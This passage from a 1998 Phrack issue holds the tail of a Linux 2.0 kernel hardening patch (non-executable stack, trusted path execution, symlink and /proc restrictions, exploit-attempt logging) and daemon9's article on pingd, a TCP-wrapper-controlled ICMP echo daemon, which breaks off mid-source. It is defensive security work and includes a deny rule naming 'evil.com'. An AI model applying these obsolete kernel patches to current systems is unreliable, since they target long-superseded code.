if ( (context.x & 0xfffc) /* not a NULL selectors */ \

&& (context.x & 0x4) != 0x4 /* not a LDT selector */ \

‑ && (context.x & 3) != 3 /* not a RPL3 GDT selector */ \

+ && (context.x & 3) < 2 /* not a RPL3 or RPL2 GDT selector */ \

) goto badframe; COPY(x);

#define COPY_SEG_STRICT(x) \

‑if (!(context.x & 0xfffc) || (context.x & 3) != 3) goto badframe; COPY(x); +if (!(context.x & 0xfffc) || (context.x & 3) < 2) goto badframe; COPY(x); struct sigcontext_struct context;

struct pt_regs * regs;

@@ ‑167,16 +167,20 @@

unsigned long * frame;

frame = (unsigned long *) regs‑>esp;

‑if (regs‑>ss != USER_DS && sa‑>sa_restorer)

+if (regs‑>ss != USER_DS && regs‑>ss != USER_HUGE_SS && sa‑>sa_restorer) frame = (unsigned long *) sa‑>sa_restorer;

frame ‑= 64;

if (verify_area(VERIFY_WRITE,frame,64*4))

do_exit(SIGSEGV);

/* set up the "normal" stack seen by the signal handler (iBCS2) */

+#ifdef CONFIG_STACKEXEC

+put_user((unsigned long)MAGIC_SIGRETURN, frame);

+#else

#define __CODE ((unsigned long)(frame+24))

#define CODE(x) ((unsigned long *) ((x)+__CODE)) put_user(__CODE,frame);

+#endif

if (current‑>exec_domain && current‑>exec_domain‑>signal_invmap) put_user(current‑>exec_domain‑>signal_invmap[signr], frame+1); else

@@ ‑204,19 +208,17 @@

/* non‑iBCS2 extensions.. */

put_user(oldmask, frame+22);

put_user(current‑>tss.cr2, frame+23);

+#ifndef CONFIG_STACKEXEC

/* set up the return code... */

put_user(0x0000b858, CODE(0));/* popl %eax ; movl $,%eax */

put_user(0x80cd0000, CODE(4));/* int $0x80 */

put_user(__NR_sigreturn, CODE(2));

#undef __CODE

#undef CODE

+#endif

/* Set up registers for signal handler */

‑regs‑>esp = (unsigned long) frame;

‑regs‑>eip = (unsigned long) sa‑>sa_handler;

‑regs‑>cs = USER_CS; regs‑>ss = USER_DS;

‑regs‑>ds = USER_DS; regs‑>es = USER_DS;

‑regs‑>gs = USER_DS; regs‑>fs = USER_DS;

+start_thread(regs, (unsigned long)sa‑>sa_handler, (unsigned long)frame); regs‑>eflags &= ~TF_MASK;

}

diff ‑ru linux‑stock/arch/i386/kernel/traps.c linux‑patched/arch/i386/kernel/traps.c ‑‑‑ linux‑stock/arch/i386/kernel/traps.cMon Aug 11 13:37:24 1997 +++ linux‑patched/arch/i386/kernel/traps.cSun Nov 9 00:55:50 1997 @@ ‑117,7 +117,7 @@

esp = (unsigned long) &regs‑>esp;

ss = KERNEL_DS;

‑if ((regs‑>eflags & VM_MASK) || (3 & regs‑>cs) == 3)

+if ((regs‑>eflags & VM_MASK) || (3 & regs‑>cs) >= 2)

return;

if (regs‑>cs & 3) {

esp = regs‑>esp;

@@ ‑193,11 +193,82 @@

asmlinkage void do_general_protection(struct pt_regs * regs, long error_code) {

+#ifdef CONFIG_STACKEXEC

+unsigned long retaddr;

+#endif

+

if (regs‑>eflags & VM_MASK) {

handle_vm86_fault((struct vm86_regs *) regs, error_code); return;

}

+

+#ifdef CONFIG_STACKEXEC

+/* Check if it was return from a signal handler */

+if (regs‑>cs == USER_CS || regs‑>cs == USER_HUGE_CS)

+if (get_seg_byte(USER_DS, (char *)regs‑>eip) == 0xC3)

+if (!verify_area(VERIFY_READ, (void *)regs‑>esp, 4))

+if ((retaddr = get_seg_long(USER_DS, (char *)regs‑>esp)) ==

+ MAGIC_SIGRETURN) {

+/*

+ * Call sys_sigreturn() to restore the context. It would definitely be better + * to convert sys_sigreturn() into an inline function accepting a pointer to + * pt_regs, making this faster...

+ */

+regs‑>esp += 8;

+__asm__("movl %3,%%esi;"

+"subl %1,%%esp;"

+"movl %2,%%ecx;"

+"movl %%esp,%%edi;"

+"cld; rep; movsl;"

+"call sys_sigreturn;"

+"leal %3,%%edi;"

+"addl %1,%%edi;"

+"movl %%esp,%%esi;"

+"movl (%%edi),%%edi;"

+"movl %2,%%ecx;"

+"cld; rep; movsl;"

+"movl %%esi,%%esp"

+:

+/* %eax is returned separately */

+"=a" (regs‑>eax)

+:

+"i" (sizeof(*regs)),

+"i" (sizeof(*regs) >> 2),

+"m" (regs)

+:

+"cx", "dx", "si", "di", "cc", "memory");

+return;

+}

+

+#ifdef CONFIG_STACKEXEC_LOG

+/*

+ * Check if we're returning to the stack area, which is only likely to happen + * when attempting to exploit a buffer overflow.

+ */

+else if (regs‑>cs == USER_CS &&

+ (retaddr & 0xF0000000) == 0xB0000000)

+security_alert("buffer overflow");

+#endif

+#endif

+

die_if_kernel("general protection",regs,error_code);

+

+#if defined(CONFIG_STACKEXEC) && defined(CONFIG_STACKEXEC_AUTOENABLE) +/*

+ * Switch to the original huge code segment (and allow code execution on the + * stack for this entire process), if the faulty instruction is a call %reg, + * except for call %esp.

+ */

+if (regs‑>cs == USER_CS)

+if (get_seg_byte(USER_DS, (char *)regs‑>eip) == 0xFF &&

+ (get_seg_byte(USER_DS, (char *)(regs‑>eip + 1)) & 0xD8) == 0xD0 && + get_seg_byte(USER_DS, (char *)(regs‑>eip + 1)) != 0xD4) {

+current‑>flags |= PF_STACKEXEC;

+regs‑>cs = USER_HUGE_CS; regs‑>ss = USER_HUGE_SS;

+return;

+}

+#endif

+

current‑>tss.error_code = error_code;

current‑>tss.trap_no = 13;

force_sig(SIGSEGV, current);

diff ‑ru linux‑stock/arch/i386/mm/fault.c linux‑patched/arch/i386/mm/fault.c ‑‑‑ linux‑stock/arch/i386/mm/fault.cSat Aug 16 22:21:20 1997

+++ linux‑patched/arch/i386/mm/fault.cSun Nov 9 00:55:50 1997

@@ ‑44,6 +44,7 @@

unsigned long page;

int write;

+if ((regs‑>cs & 3) >= 2) error_code |= 4;

/* get the address */

__asm__("movl %%cr2,%0":"=r" (address));

down(&mm‑>mmap_sem);

diff ‑ru linux‑stock/fs/binfmt_aout.c linux‑patched/fs/binfmt_aout.c ‑‑‑ linux‑stock/fs/binfmt_aout.cWed Oct 15 14:56:43 1997

+++ linux‑patched/fs/binfmt_aout.cTue Nov 11 00:38:48 1997

@@ ‑315,6 +315,7 @@

current‑>suid = current‑>euid = current‑>fsuid = bprm‑>e_uid; current‑>sgid = current‑>egid = current‑>fsgid = bprm‑>e_gid; current‑>flags &= ~PF_FORKNOEXEC;

+ if (N_FLAGS(ex) & F_STACKEXEC) current‑>flags |= PF_STACKEXEC; if (N_MAGIC(ex) == OMAGIC) {

#ifdef __alpha__

do_mmap(NULL, N_TXTADDR(ex) & PAGE_MASK,

diff ‑ru linux‑stock/fs/binfmt_elf.c linux‑patched/fs/binfmt_elf.c ‑‑‑ linux‑stock/fs/binfmt_elf.cWed Oct 15 14:56:43 1997

+++ linux‑patched/fs/binfmt_elf.cTue Nov 11 01:02:05 1997

@@ ‑55,7 +55,10 @@

#define ELF_PAGESTART(_v) ((_v) & ~(unsigned long)(ELF_EXEC_PAGESIZE‑1)) #define ELF_PAGEOFFSET(_v) ((_v) & (ELF_EXEC_PAGESIZE‑1))

‑static struct linux_binfmt elf_format = {

+#ifndef CONFIG_STACKEXEC

+static

+#endif

+struct linux_binfmt elf_format = {

#ifndef MODULE

NULL, NULL, load_elf_binary, load_elf_library, elf_core_dump #else

@@ ‑662,6 +665,7 @@

current‑>suid = current‑>euid = current‑>fsuid = bprm‑>e_uid; current‑>sgid = current‑>egid = current‑>fsgid = bprm‑>e_gid; current‑>flags &= ~PF_FORKNOEXEC;

+ if (elf_ex.e_flags & EF_STACKEXEC) current‑>flags |= PF_STACKEXEC; bprm‑>p = (unsigned long)

create_elf_tables((char *)bprm‑>p,

bprm‑>argc,

diff ‑ru linux‑stock/fs/exec.c linux‑patched/fs/exec.c

‑‑‑ linux‑stock/fs/exec.cWed Oct 15 14:56:43 1997

+++ linux‑patched/fs/exec.cTue Nov 11 12:59:51 1997

@@ ‑475,6 +475,8 @@

}

current‑>comm[i] = '\0';

+ current‑>flags &= ~PF_STACKEXEC;

+

/* Release all of the old mmap stuff. */

if (exec_mmap())

return ‑ENOMEM;

@@ ‑650,12 +652,30 @@

int do_execve(char * filename, char ** argv, char ** envp, struct pt_regs * regs) {

struct linux_binprm bprm;

+ struct inode *dir;

+ const char *basename;

+ int namelen;

int retval;

int i;

bprm.p = PAGE_SIZE*MAX_ARG_PAGES‑sizeof(void *);

for (i=0 ; i<MAX_ARG_PAGES ; i++)/* clear page‑table */

bprm.page[i] = 0;

+

+#ifdef CONFIG_TPE

+ /* Check to make sure the path is trusted. If the directory is root

+ * owned and not group/world writable, it's trusted. Otherwise, + * return ‑EACCES and optionally log it

+ */

+ dir_namei(filename, &namelen, &basename, NULL, &dir);

+ if (dir‑>i_mode & (S_IWGRP | S_IWOTH) || dir‑>i_uid)

+ {

+#ifdef CONFIG_TPE_LOG

+ security_alert("Trusted path execution violation"); +#endif /* CONFIG_TPE_LOG */

+ return ‑EACCES;

+ }

+#endif /* CONFIG_TPE */

retval = open_namei(filename, 0, 0, &bprm.inode, NULL);

if (retval)

return retval;

diff ‑ru linux‑stock/fs/namei.c linux‑patched/fs/namei.c

‑‑‑ linux‑stock/fs/namei.cSat Aug 16 16:23:19 1997

+++ linux‑patched/fs/namei.cTue Nov 11 00:44:51 1997

@@ ‑19,6 +19,7 @@

#include <linux/fcntl.h>

#include <linux/stat.h>

#include <linux/mm.h>

+#include <linux/config.h>

#define ACC_MODE(x) ("\000\004\002\006"[(x)&O_ACCMODE])

@@ ‑207,6 +208,23 @@

*res_inode = inode;

return 0;

}

+#ifdef CONFIG_SYMLINK_FIX

+/*

+ * Don't follow links that we don't own in +t directories, unless the link + * is owned by root.

+ */

+ if (S_ISLNK(inode‑>i_mode) && (dir‑>i_mode & S_ISVTX) && + inode‑>i_uid &&

+ current‑>fsuid != inode‑>i_uid) {

+#ifdef CONFIG_SYMLINK_LOG

+ security_alert("symlink");

+#endif

+ iput(dir);

+ iput(inode);

+ *res_inode = NULL;

+ return ‑EPERM;

+ }

+#endif

return inode‑>i_op‑>follow_link(dir,inode,flag,mode,res_inode); }

@@ ‑216,8 +234,13 @@

* dir_namei() returns the inode of the directory of the

* specified name, and the name within that directory.

*/

+#ifdef CONFIG_TPE

+int dir_namei(const char *pathname, int *namelen, const char **name, + struct inode * base, struct inode **res_inode) +#else

static int dir_namei(const char *pathname, int *namelen, const char **name, struct inode * base, struct inode **res_inode) +#endif /* CONFIG_TPE */

{

char c;

const char * thisname;

@@ ‑787,6 +810,22 @@

iput(dir);

return ‑EPERM;

}

+#ifdef CONFIG_SYMLINK_FIX

+/*

+ * Don't allow non‑root users to create hard links to files they don't own + * in a +t directory.

+ */

+ if ((dir‑>i_mode & S_ISVTX) &&

+ current‑>fsuid != oldinode‑>i_uid &&

+ !fsuser()) {

+#ifdef CONFIG_SYMLINK_LOG

+ security_alert("hard link");

+#endif

+ iput(oldinode);

+ iput(dir);

+ return ‑EPERM;

+ }

+#endif

if (IS_RDONLY(dir)) {

iput(oldinode);

iput(dir);

diff ‑ru linux‑stock/fs/proc/base.c linux‑patched/fs/proc/base.c ‑‑‑ linux‑stock/fs/proc/base.cWed Feb 21 01:26:09 1996

+++ linux‑patched/fs/proc/base.cSun Nov 9 10:53:19 1997

@@ ‑74,7 +74,11 @@

*/

struct proc_dir_entry proc_pid = {

PROC_PID_INO, 5, "<pid>",

‑S_IFDIR | S_IRUGO | S_IXUGO, 2, 0, 0,

+#ifdef CONFIG_PROC_RESTRICT

+ S_IFDIR | S_IRUSR | S_IXUSR, 2, 0, 0,

+#else

+ S_IFDIR | S_IRUGO | S_IXUGO, 2, 0, 0,

+#endif /* CONFIG_PROC_RESTRICT */

0, &proc_base_inode_operations,

NULL, proc_pid_fill_inode,

NULL, &proc_root, NULL

diff ‑ru linux‑stock/fs/proc/inode.c linux‑patched/fs/proc/inode.c ‑‑‑ linux‑stock/fs/proc/inode.cSat Nov 30 02:21:21 1996

+++ linux‑patched/fs/proc/inode.cSun Nov 9 10:58:06 1997

@@ ‑153,7 +153,11 @@

if (!p || i >= NR_TASKS)

return;

if (ino == PROC_ROOT_INO) {

‑inode‑>i_mode = S_IFDIR | S_IRUGO | S_IXUGO;

+#ifdef CONFIG_PROC_RESTRICT

+ inode‑>i_mode = S_IFDIR | S_IRUSR | S_IXUSR; +#else

+ inode‑>i_mode = S_IFDIR | S_IRUGO | S_IXUGO; +#endif /* CONFIG_PROC_RESTRICT */

inode‑>i_nlink = 2;

for (i = 1 ; i < NR_TASKS ; i++)

if (task[i])

@@ ‑171,7 +175,11 @@

inode‑>i_nlink = 2;

break;

case PROC_SCSI:

+#ifdef CONFIG_PROC_RESTRICT

+ inode‑>i_mode = S_IFDIR | S_IRUSR | S_IXUSR;

+#else

inode‑>i_mode = S_IFDIR | S_IRUGO | S_IXUGO;

+#endif /* CONFIG_PROC_RESTRICT */

inode‑>i_nlink = 2;

inode‑>i_op = &proc_scsi_inode_operations;

break;

@@ ‑181,7 +189,11 @@

inode‑>i_size = (MAP_NR(high_memory) << PAGE_SHIFT) + PAGE_SIZE; break;

case PROC_PROFILE:

‑inode‑>i_mode = S_IFREG | S_IRUGO | S_IWUSR;

+#ifdef CONFIG_PROC_RESTRICT

+ inode‑>i_mode = S_IFDIR | S_IRUSR | S_IXUSR;

+#else

+ inode‑>i_mode = S_IFDIR | S_IRUGO | S_IXUGO;

+#endif /* CONFIG_PROC_RESTRICT */

inode‑>i_op = &proc_profile_inode_operations; inode‑>i_size = (1+prof_len) * sizeof(unsigned long); break;

@@ ‑203,7 +215,11 @@

return;

case PROC_PID_MEM:

inode‑>i_op = &proc_mem_inode_operations;

‑inode‑>i_mode = S_IFREG | S_IRUSR | S_IWUSR;

+#ifdef CONFIG_PROC_RESTRICT

+ inode‑>i_mode = S_IFDIR | S_IRUSR | S_IXUSR; +#else

+ inode‑>i_mode = S_IFDIR | S_IRUGO | S_IXUGO; +#endif /* CONFIG_PROC_RESTRICT */

return;

case PROC_PID_CWD:

case PROC_PID_ROOT:

diff ‑ru linux‑stock/include/asm‑i386/processor.h linux‑patched/include/asm‑i386/processor.h ‑‑‑ linux‑stock/include/asm‑i386/processor.hTue Mar 11 13:52:29 1997 +++ linux‑patched/include/asm‑i386/processor.hTue Nov 11 00:47:04 1997 @@ ‑9,6 +9,8 @@

#include <asm/vm86.h>

#include <asm/math_emu.h>

+#include <linux/binfmts.h>

+#include <linux/config.h>

/*

* System setup and hardware bug flags..

@@ ‑41,6 +43,15 @@

*/

#define TASK_SIZE(0xC0000000UL)

+#if defined(CONFIG_STACKEXEC) && defined(CONFIG_BINFMT_ELF) +extern struct linux_binfmt elf_format;

+#define MMAP_ADDR ( \

+current‑>binfmt == &elf_format && \

+!(current‑>flags & PF_STACKEXEC) \

+? 0x00110000UL \

+: TASK_SIZE / 3 )

+#endif

+

/*

* Size of io_bitmap in longwords: 32 is ports 0‑0x3ff.

*/

@@ ‑134,14 +145,6 @@

#define alloc_kernel_stack() __get_free_page(GFP_KERNEL) #define free_kernel_stack(page) free_page((page))

‑static inline void start_thread(struct pt_regs * regs, unsigned long eip, unsigned long esp) ‑{

‑regs‑>cs = USER_CS;

‑regs‑>ds = regs‑>es = regs‑>ss = regs‑>fs = regs‑>gs = USER_DS; ‑regs‑>eip = eip;

‑regs‑>esp = esp;

‑}

‑

/*

* Return saved PC of a blocked thread.

*/

@@ ‑151,3 +154,25 @@

}

#endif /* __ASM_I386_PROCESSOR_H */

+

+#if defined(current) && !defined(__START_THREAD)

+#define __START_THREAD

+

+static inline void start_thread(struct pt_regs * regs, unsigned long eip, unsigned long esp) +{

+#ifdef CONFIG_STACKEXEC

+if (current‑>flags & PF_STACKEXEC) {

+regs‑>cs = USER_HUGE_CS; regs‑>ss = USER_HUGE_SS;

+} else {

+regs‑>cs = USER_CS; regs‑>ss = USER_DS;

+}

+regs‑>ds = regs‑>es = regs‑>fs = regs‑>gs = USER_DS;

+#else

+regs‑>cs = USER_CS;

+regs‑>ds = regs‑>es = regs‑>fs = regs‑>gs = regs‑>ss = USER_DS; +#endif

+regs‑>eip = eip;

+regs‑>esp = esp;

+}

+

+#endif /* __START_THREAD */

diff ‑ru linux‑stock/include/asm‑i386/segment.h linux‑patched/include/asm‑i386/segment.h ‑‑‑ linux‑stock/include/asm‑i386/segment.hTue Apr 9 00:35:29 1996 +++ linux‑patched/include/asm‑i386/segment.hTue Nov 11 00:47:13 1997 @@ ‑1,11 +1,27 @@

#ifndef _ASM_SEGMENT_H

#define _ASM_SEGMENT_H

+#include <linux/config.h>

+

#define KERNEL_CS0x10

#define KERNEL_DS0x18

#define USER_CS0x23

#define USER_DS0x2B

+

+#ifdef CONFIG_STACKEXEC

+#define USER_HUGE_CS0x32

+#define USER_HUGE_SS0x3A

+#else

+#define USER_HUGE_CS0x23

+#define USER_HUGE_SS0x2B

+#endif

+

+/*

+ * Magic address to return to the kernel from signal handlers, any address + * beyond user code segment limit will do.

+ */

+#define MAGIC_SIGRETURN0xC1428571

#ifndef __ASSEMBLY__

diff ‑ru linux‑stock/include/linux/a.out.h linux‑patched/include/linux/a.out.h ‑‑‑ linux‑stock/include/linux/a.out.hSat Aug 17 11:19:28 1996

+++ linux‑patched/include/linux/a.out.hTue Nov 11 00:47:21 1997 @@ ‑37,6 +37,9 @@

M_MIPS2 = 152,/* MIPS R6000/R4000 binary */

};

+/* Constants for the N_FLAGS field */

+#define F_STACKEXEC1/* Executable stack area forced */

+

#if !defined (N_MAGIC)

#define N_MAGIC(exec) ((exec).a_info & 0xffff)

#endif

diff ‑ru linux‑stock/include/linux/elf.h linux‑patched/include/linux/elf.h ‑‑‑ linux‑stock/include/linux/elf.hSat Aug 10 00:03:15 1996

+++ linux‑patched/include/linux/elf.hTue Nov 11 00:47:39 1997

@@ ‑57,6 +57,9 @@

*/

#define EM_ALPHA0x9026

+/* Constants for the e_flags field */

+#define EF_STACKEXEC1/* Executable stack area forced */

+

/* This is the info that is needed to parse the dynamic section of the file */

#define DT_NULL0

diff ‑ru linux‑stock/include/linux/kernel.h linux‑patched/include/linux/kernel.h ‑‑‑ linux‑stock/include/linux/kernel.hThu Aug 14 10:05:47 1997 +++ linux‑patched/include/linux/kernel.hTue Nov 11 00:47:44 1997 @@ ‑78,6 +78,27 @@

(((addr) >> 16) & 0xff), \

(((addr) >> 24) & 0xff)

+#define security_alert(msg) { \

+static unsigned long warning_time = 0, no_flood_yet = 0; \

+\

+/* Make sure at least one minute passed since the last warning logged */ \

+if (!warning_time || jiffies ‑ warning_time > 60 * HZ) { \

+warning_time = jiffies; no_flood_yet = 1; \

+printk( \

+KERN_ALERT \

+"Possible " msg " exploit attempt:\n" \

+KERN_ALERT \

+"Process %s (pid %d, uid %d, euid %d).\n", \

+current‑>comm, current‑>pid, \

+current‑>uid, current‑>euid); \

+} else if (no_flood_yet) { \

+warning_time = jiffies; no_flood_yet = 0; \

+printk( \

+KERN_ALERT \

+"More possible " msg " exploit attempts follow.\n"); \

+} \

+}

+

#endif /* __KERNEL__ */

#define SI_LOAD_SHIFT16

diff ‑ru linux‑stock/include/linux/sched.h linux‑patched/include/linux/sched.h ‑‑‑ linux‑stock/include/linux/sched.hWed Oct 15 15:22:05 1997

+++ linux‑patched/include/linux/sched.hTue Nov 11 00:47:48 1997 @@ ‑269,6 +269,8 @@

#define PF_USEDFPU0x00100000/* Process used the FPU this quantum (SMP only) */

#define PF_DTRACE0x00200000/* delayed trace (used on m68k) */

+#define PF_STACKEXEC0x01000000/* Executable stack area forced */

+

/*

* Limit the stack by to some sane default: root can always

* increase this limit if needed.. 8MB seems reasonable.

@@ ‑490,6 +492,9 @@

#define for_each_task(p) \

for (p = &init_task ; (p = p‑>next_task) != &init_task ; )

+

+/* x86 start_thread() */

+#include <asm/processor.h>

#endif /* __KERNEL__ */

diff ‑ru linux‑stock/kernel/sched.c linux‑patched/kernel/sched.c ‑‑‑ linux‑stock/kernel/sched.cFri Oct 17 13:17:43 1997

+++ linux‑patched/kernel/sched.cSun Nov 9 01:11:01 1997

@@ ‑44,7 +44,11 @@

* kernel variables

*/

+#ifdef CONFIG_SECURE_ON

+int securelevel = 1;/* system security level */

+#else

int securelevel = 0;/* system security level */

+#endif

long tick = (1000000 + HZ/2) / HZ;/* timer interrupt period */

volatile struct timeval xtime;/* The current time */

diff ‑ru linux‑stock/mm/mmap.c linux‑patched/mm/mmap.c

‑‑‑ linux‑stock/mm/mmap.cFri Nov 22 06:25:17 1996

+++ linux‑patched/mm/mmap.cTue Nov 11 00:48:26 1997

@@ ‑308,7 +308,11 @@

if (len > TASK_SIZE)

return 0;

if (!addr)

+#ifdef MMAP_ADDR

+addr = MMAP_ADDR;

+#else

addr = TASK_SIZE / 3;

+#endif

addr = PAGE_ALIGN(addr);

for (vmm = find_vma(current‑>mm, addr); ; vmm = vmm‑>vm_next) {

diff ‑ru linux‑stock/net/ipv4/af_inet.c linux‑patched/net/ipv4/af_inet.c ‑‑‑ linux/net/ipv4/af_inet.cFri Aug 15 12:23:23 1997

+++ linux‑stock/net/ipv4/af_inet.cMon Dec 29 18:05:29 1997

@@ ‑111,6 +111,15 @@

#define min(a,b)((a)<(b)?(a):(b))

+#ifdef CONFIG_SPLIT_GID

+/*

+ * Priveleged group ids

+ */

+#define PROT_SOCK_GID 16

+#define RAW_SOCK_GID 17

+#define PACKET_SOCK_GID 18

+#endif /* CONFIG_SPLIT_GID */

+

extern struct proto packet_prot;

extern int raw_get_info(char *, char **, off_t, int, int); extern int snmp_get_info(char *, char **, off_t, int, int);

@@ ‑435,8 +444,26 @@

sk‑>no_check = UDP_NO_CHECK;

prot=&udp_prot;

} else if(sock‑>type == SOCK_RAW || sock‑>type == SOCK_PACKET) { +#ifdef CONFIG_SPLIT_GID

+ /*

+ * If we are not the super user, check to see if we have the + * corresponding special group priviledge.

+ */

+ if (!suser())

+ {

+ if (sock‑>type == SOCK_RAW && current‑>egid != RAW_SOCK_GID) + {

+ goto free_and_badperm;

+ }

+ else if (sock‑>type == SOCK_PACKET && current‑>egid != PACKET_SOCK_GID) + {

+ goto free_and_badperm;

+ }

+ }

+#else

if (!suser())

goto free_and_badperm;

+#endif /* CONFIG_SPLIT_GID */

if (!protocol)

goto free_and_noproto;

prot = &raw_prot;

@@ ‑621,7 +648,11 @@

if (snum == 0)

snum = sk‑>prot‑>good_socknum();

if (snum < PROT_SOCK) {

+#ifdef CONFIG_SPLIT_GID

+if (!suser() && current‑>egid != PROT_SOCK_GID)

+#else

if (!suser())

+#endif /* CONFIG_SPLIT_GID */

return(‑EACCES);

if (snum == 0)

return(‑EAGAIN);

<‑‑>

‑‑‑‑[ EOF

The Linux pingd

‑‑‑[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 07 of 20

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Linux Ping Daemon

‑‑‑‑‑‑‑‑[ route|daemon9 <route@infonexus.com>

‑‑‑‑[ Introduction and Impetus

I have an idea. How about we rip ICMP_ECHO support from the kernel? How about we employ a userland daemon that controls ICMP_ECHO reflection via TCP wrapper access control? (Actually, this idea was originally (c) Asriel, who did the 44BSD version. http://www.enteract.com/~tqbf/goodies.html. He just

asked me to do the linux version.)

The bastard son of this idea is pingd. A cute userland daemon that handles all ICMP_ECHO and ICMP_ECHOREPLY traffic. The engine is simple. A raw ICMP socket under Linux gets a copy of every ICMP datagram delivered to the IP module (assuming the IP datagram is destined for an interface on that host). We simply remove support of ICMP_ECHO processing from the kernel and erect a userland daemon with a raw ICMP socket to handle these packets.

Once we have the packet, we do some basic sanity checks such as packet type and code, and packet size. Next, we pass the packet to the authentication mechanism where it is checked against the access control list. If the packet is allowed, we send a response, otherwise we drop it on the floor.

The rule for this project was primarily security and then efficiency. The next version will have an option to send ICMP_HOST_UNREACH to an offending host. I may also at some point add some hooks for some sort of payload content analysis (read: LOKI detection) but for now, pingd stands as is.

‑‑‑‑[ Compilation and Installation

i. You will need libwrap and libnet. Libwrap comes with Wieste Venema's Tcp wrapper package and is available from ftp://ftp.win.tue.nl/pub/security/.

The libnet networking library is available from: http://www.infonexus.com/~daemon9/Projects/libnet.tar.gz.

ii. Build and install both libraries according to their respective instructions.

1. Build the program and apply the kernel patch.

`make all` OR (`make pingd` AND `make patch`)

1a. Recompile your kernel. It is NOT necessary to make {config, dep, clean}. It is only necessary to:

`make; make install`

(or the equivalent).

2. Test the daemon. Ensure that there are no wrapper entries in the /etc/hosts.{deny, allow} and start the daemon in debug mode.

`./pingd ‑d1` and then `ping 0`

3. Edit your TCP wrapper access control files. Simply add a new service (ping) and the IP addresses you want to allow or deny:

`cat >> /etc/hosts.deny`

ping : evil.com

^D

4. Install the program and add it to your /etc/rc.d/rc/local:

`make install`

‑‑‑‑[ Empirical Data

This is slower then doing it in the kernel. Especially on localhost. How about that. Remotely, the RTT's are about .7 ‑ .9 ms longer with a concise /etc/hosts.{allow,deny}. This is the price you pay for a more secure implementation. All the hosts are on the same 10MB network, with approximately the same speed NICs.

The following Linux machine has a normal kernel‑based ICMP_ECHO reflector mechanism:

resentment:~/# ping 192.168.2.34

PING 192.168.2.34 (192.168.2.34): 56 data bytes

64 bytes from 192.168.2.34: icmp_seq=0 ttl=64 time=0.8 ms

64 bytes from 192.168.2.34: icmp_seq=1 ttl=64 time=0.6 ms

64 bytes from 192.168.2.34: icmp_seq=2 ttl=64 time=0.8 ms

‑‑‑ 192.168.2.34 ping statistics ‑‑‑

3 packets transmitted, 3 packets received, 0% packet loss round‑trip min/avg/max = 0.6/0.7/0.8 ms

This machine is running pingd compiled with DLOG (and has no kernel ICMP_ECHO support):

resentment:~/# ping 192.168.2.35

PING 192.168.2.35 (192.168.2.35): 56 data bytes

64 bytes from 192.168.2.35: icmp_seq=0 ttl=64 time=1.5 ms

64 bytes from 192.168.2.35: icmp_seq=1 ttl=64 time=1.4 ms

64 bytes from 192.168.2.35: icmp_seq=2 ttl=64 time=1.3 ms

‑‑‑ 192.168.2.35 ping statistics ‑‑‑

3 packets transmitted, 3 packets received, 0% packet loss round‑trip min/avg/max = 1.3/1.4/1.5 ms

Stress‑test of the same host (not recommended to do with debugging on):

torment# /sbin/ping ‑f ‑c 10000 192.168.2.35

PING 192.168.2.35 (192.168.2.35): 56 data bytes

........................................

‑‑‑ 192.168.2.35 ping statistics ‑‑‑

10088 packets transmitted, 10000 packets received, 0% packet loss round‑trip min/avg/max = 0.985/36.790/86.075 ms

resentment:~# ping ‑f ‑c 10000 192.168.2.35

PING 192.168.2.35 (192.168.2.35): 56 data bytes

..

‑‑‑ 192.168.2.35 ping statistics ‑‑‑

10001 packets transmitted, 10000 packets received, 0% packet loss round‑trip min/avg/max = 1.0/1.2/17.4 ms

An example of the wrapper log:

Jan 16 18:23:03 shattered pingd: started: 997

Jan 16 18:24:52 shattered pingd: ICMP_ECHO allowed by wrapper

(64 bytes from 192.168.2.38)

Jan 16 18:24:54 shattered last message repeated 2 times

Jan 16 18:26:50 shattered pingd: ICMP_ECHO allowed by wrapper

(64 bytes from 192.168.2.37)

Jan 16 18:26:58 shattered last message repeated 10087 times

Jan 16 18:30:09 shattered pingd: ICMP_ECHO allowed by wrapper

(64 bytes from 192.168.2.38)

Jan 16 18:30:19 shattered last message repeated 10000 times

Jan 16 18:47:30 shattered pingd: ICMP_ECHO denied by wrapper

(64 bytes from 192.168.2.34)

Jan 16 18:47:32 shattered last message repeated 2 times

Jan 16 18:48:16 shattered pingd: packet too large

(10008 bytes from 192.168.2.38)

Jan 16 18:48:17 shattered last message repeated 2 times

‑‑‑‑[ The code

<++> Pingd/Makefile

# linux pingd Makefile

# daemon9|route <route@infonexus.com>

# Define this if you want syslog logging of ICMP_ECHO traffic. This slows # slow down daemon response time a bit.

# default: enabled.

DEFINES = ‑DLOG

CC = gcc

VER = 0.1

NETSRC = /usr/src/linux/net/ipv4

INSTALL_LOC = /usr/sbin

PINGD = pingd

LIBS = ‑lnet ‑lwrap

DEFINES += ‑D__BSD_SOURCE

CFLAGS = ‑O3 ‑funroll‑loops ‑fomit‑frame‑pointer ‑pipe ‑m486 ‑Wall OBJECTS = pingd.o

.c.o:

$(CC) $(CFLAGS) $(DEFINES) ‑c $< ‑o $@

pingd: $(OBJECTS)

$(CC) $(CFLAGS) $(OBJECTS) ‑o pingd $(LIBS)

strip pingd

all: patch pingd

patch:

@(/usr/bin/patch ‑d $(NETSRC) < patchfile)

@(echo "Patchfile installed")

@(echo "You must now recompile your kernel")

@(echo "")

install: pingd

(install ‑m755 $(PINGD) $(INSTALL_LOC))

(echo "" >> /etc/rc.d/rc.local)

(echo "echo \"Starting ping daemon\"" >> /etc/rc.d/rc.local) (echo "$(INSTALL_LOC)/$(PINGD)" >> /etc/rc.d/rc.local)

dist: clean

@(cd ..; rm pingd‑$(VER).tgz; tar cvzf pingd‑$(VER).tgz Pingd/)

clean:

rm ‑f *.o core pingd

# EOF

<‑‑>

<++> Pingd/pingd.h

/*

* $Id$

*

* Linux pingd sourcefile

* pingd.h ‑ function prototypes, global data structures, and macros * Copyright (c) 1998 by daemon9|route (route@infonexus.com)

*

*

*

*/

#ifndef _PINGD_H

#define _PINGD_H

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <netinet/in.h>

#include <netinet/ip.h>

#include <netinet/ip_icmp.h>

#include <pwd.h>

#include <syslog.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <libnet.h>

#define NOBODY "nobody" /* Nobody pwnam */

#define STRING_UNKNOWN "unknown" /* From tcpd.h */

#define HEADER_MATERIAL 28 /* ICMP == 8 bytes, IP == 20 bytes */

#define MAX_PAYLOAD 8096 /* Out of thin air */

struct icmp_packet

{

struct ip iph;

struct icmphdr icmph;

